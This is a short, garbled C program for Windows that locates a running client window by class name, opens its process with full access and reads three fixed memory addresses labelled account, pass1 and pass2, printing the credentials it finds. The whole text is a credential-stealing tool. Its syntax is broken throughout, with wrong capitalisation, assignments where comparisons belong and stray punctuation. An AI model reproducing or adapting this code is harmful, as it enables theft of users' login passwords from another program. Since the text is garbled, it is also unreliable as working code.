Int main (INT argc, char * argv [])
...{
DWORD hprocid;
Hwnd =: findwindow ("tdxw_mainframe_class", null );
If (hwnd = false)
: MessageBox (null, "the program is not started", "prompt", 32 );
Else ...{
Getwindowthreadprocessid (hwnd, & hprocid );
Handle NOK = OpenProcess (process_all_access |
Process_terminate |
Process_vm_operation |
Process_vm_read |
Process_vm_write, false, hprocid );
If (NOK = NULL)
: MessageBox (null, "An error occurred while reading data! "," Prompt ", 32 );
Else
...{
Char account [255], pass1 [255], pass2 [255];
Readprocessmemory (NOK, (lpvoid) 0x01b5ffd0, & account, 255, null );
Readprocessmemory (NOK, (lpvoid) 0x01b6023c, & pass1, 255, null );
Readprocessmemory (NOK, (lpvoid) 0x01b5f928, & pass2, 255, null );
Printf ("account: % s", & account );
Printf ("pass1: % s", & pass1 );
Printf ("pass2: % s", & pass2 );
}
}
Return 0;
}